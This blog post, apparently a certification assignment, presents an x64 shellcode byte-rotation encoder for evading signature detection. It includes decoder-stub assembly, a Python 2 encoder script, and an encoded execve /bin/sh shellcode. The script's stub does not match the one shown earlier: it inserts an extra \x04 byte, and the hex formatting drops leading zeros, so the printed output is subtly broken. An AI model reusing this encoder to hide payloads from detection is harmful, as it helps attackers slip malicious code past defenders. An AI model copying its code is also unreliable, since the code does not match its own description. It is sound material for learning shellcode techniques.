x64 Shellcode Byte-Rotate Encoder

Shellcode encoders are used to defeat basic pattern matching or remove bad bytes from a payload. I've written before about Metasploit's x64/xor encoder, which is pretty simple and very effective.

I wrote an encoder that rotates bytes. I decided to rotate 3 bits left when encoding, meaning the decoder needs to rotate right 3 bits. Here is the decoder logic:

_start:
    jmp encoded

getaddr:
    pop rbx         ; *rbx stores data

    xor ecx, ecx
    add cl, 0xff    ; replace with shellcode size

decode:
    ror byte [rbx + rcx], 0x3
    loop decode

    jmp rbx

encoded:
    call getaddr

    ; db 0x.... encoded bytes go here

This resulted in the following 21 byte stub:

\xeb\x0e\x5b\x31\xc9\x80\xc1\x20\xc0\x0c\x0b\x03\xe2\xfa\xff\xe3\xe8\xed\xff\xff\xff

I created a python script that basically just rotates all the bits left by 3, and then prepends the decoder stub (changing the length in the cl register appropriately).

''' x64 Shellcode Bit-Rotate Encoder '''

def rol(byte, count):
    return (byte << count | byte >> (8 - count)) & 0xff

def hex_string(byte):
    return "\\" + hex(byte)[1 : ]

def rot_encode_vector(shellcode):
    encoded = []
    for byte in shellcode:
        encoded.append(rol(byte, 3))

    return encoded

def add_decoder_stub(encoded):
    decoder = "\\xeb\\x0e\\x5b\\x31\\xc9\\x80\\xc1\\x04"
    decoder += hex_string(len(encoded))
    decoder += "\\xc0\\x0c\\x0b\\x03\\xe2\\xfa\\xff\\xe3"
    decoder += "\\xe8\\xed\\xff\\xff\\xff"

    for byte in encoded:
        decoder += hex_string(byte)

    return decoder

def rot_encode(shellcode):
    shellcode_vector = shellcode.split('\\x')[1 : ]
    shellcode_vector = [int(y, 16) for y in shellcode_vector]

    encoded_vector = rot_encode_vector(shellcode_vector)
    complete = add_decoder_stub(encoded_vector)

    return complete, encoded_vector, shellcode_vector

if __name__ == '__main__':
    import argparse
    args = argparse.ArgumentParser(description='Bit-Rotate Encoder')
    args.add_argument('shellcode', help='shellcode to encode')

    argv = args.parse_args()

    out, encv, scv = rot_encode(argv.shellcode)

    print 'Original length: %d' % (len(scv))
    print argv.shellcode
    print
    print 'Encoded length: %d' % (len(out) / 4)
    print out
    print
    print 'db ' + ', '.join(map(hex, encv))

To run it, just enter the shellcode you want to use. Here is an example using a 32 byte execve local shell.

root@kali:~/SLAE64# python ./encoder.py "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

Original length: 32
\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05

Encoded length: 53
\xeb\x0e\x5b\x31\xc9\x80\xc1\x04\x20\xc0\x0c\x0b\x03\xe2\xfa\xff\xe3\xe8\xed\xff\xff\xff\x42\x89\x6\x82\x42\xdd\x79\x13\x4b\x73\x79\x79\x9b\x43\x9a\x42\x4c\x3f\x82\x42\x4c\x17\xba\x42\x4c\x37\x42\x1c\x6\xd9\x78\x28

db 0x42, 0x89, 0x6, 0x82, 0x42, 0xdd, 0x79, 0x13, 0x4b, 0x73, 0x79, 0x79, 0x9b, 0x43, 0x9a, 0x42, 0x4c, 0x3f, 0x82, 0x42, 0x4c, 0x17, 0xba, 0x42, 0x4c, 0x37, 0x42, 0x1c, 0x6, 0xd9, 0x78, 0x28

This bears very little resemblance to the original bytes, and looks like garbage code when disassembled.

"\x42\x89\x06"                  /* rex.X mov %eax,(%rsi) */
"\x82"                          /* (bad) */
"\x42\xdd\x79\x13"              /* rex.X fnstsw 0x13(%rcx) */
"\x4b\x73\x79"                  /* rex.WXB jae 99  */
"\x79\x9b"                      /* jns    ffffffffffffffbd */
"\x43\x9a"                      /* rex.XB (bad) */
"\x42"                          /* rex.X */
"\x4c\x3f"                      /* rex.WR (bad) */
"\x82"                          /* (bad) */
"\x42"                          /* rex.X */
"\x4c\x17"                      /* rex.WR (bad) */
"\xba\x42\x4c\x37\x42"          /* mov    $0x42374c42,%edx */
"\x1c\x06"                      /* sbb    $0x6,%al */
"\xd9\x78\x28"                  /* fnstcw 0x28(%rax) */

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360